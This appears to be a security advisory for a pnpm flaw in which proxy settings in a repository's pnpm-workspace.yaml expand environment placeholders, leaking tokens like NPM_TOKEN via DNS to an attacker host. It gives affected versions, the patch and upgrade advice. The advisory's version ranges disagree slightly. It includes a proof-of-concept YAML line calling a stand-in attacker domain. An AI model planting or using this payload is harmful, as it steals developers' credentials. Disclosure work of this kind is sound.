high · 7.4Sep 1, 2026

pnpm Environment Secret Exfiltration via Proxy Settings in pnpm-workspace.yaml

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Cloning a malicious repository and running pnpm install can leak environment secrets like NPM_TOKEN or GITHUB_TOKEN to an attacker-controlled server, because pnpm expanded ${VAR} placeholders in…

Packagepnpm
Ecosystemnpm
Affected>= 11.0.0, < 11.11.0
Fixed in11.11.0
pnpm Environment Secret Exfiltration via Proxy Settings in pnpm-workspace.yaml

The problem

pnpm >= 10.7.0 expanded ${ENV_VAR} placeholders in httpsProxy, httpProxy, noProxy, and proxy settings loaded from a project's pnpm-workspace.yaml. Because that file is repository-controlled, a malicious repo author could embed a placeholder like ${NPM_TOKEN} inside a proxy URL.

The expansion happened during config loading, before any lifecycle script ran. No install scripts, no postinstall hooks, and no prior access to the victim's system were needed. Simply running pnpm install in a cloned repo was enough to route all traffic through an attacker host whose hostname carried the secret in DNS.

Proof of concept

A working proof-of-concept for this issue in pnpm, with the exact payload below.

yaml
# pnpm-workspace.yaml placed in an attacker-controlled repository
packages:
  - .
httpsProxy: "http://${NPM_TOKEN}.collector.attacker.example.com:8080"

pnpm already suppressed env-placeholder expansion for registry, pnprServer, registries, and namedRegistries when they came from an untrusted project manifest. The proxy keys (httpProxy, httpsProxy, noProxy, proxy, noproxy) were simply missing from that guard set in getOptionsFromRootManifest.ts.

The patch commit (36928be / 5a4daec) adds those five keys to the request-destination key set, so placeholders in proxy settings from an untrusted manifest are now dropped rather than expanded, matching the existing registry handling. The root CWE is Insertion of Sensitive Information Into Sent Data (CWE-201) combined with Insufficiently Protected Credentials (CWE-522).

The secret reached the attacker through DNS: the expanded hostname was resolved before any TCP connection was made, so even a non-listening server received the token in a query log.

The fix

Upgrade to pnpm 11.11.0 (11.x branch) or pnpm 10.34.5 (10.x branch). Until you can upgrade, do not run any pnpm command inside an untrusted repository while secrets are present in the environment. Inspect pnpm-workspace.yaml for proxy keys before installing.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research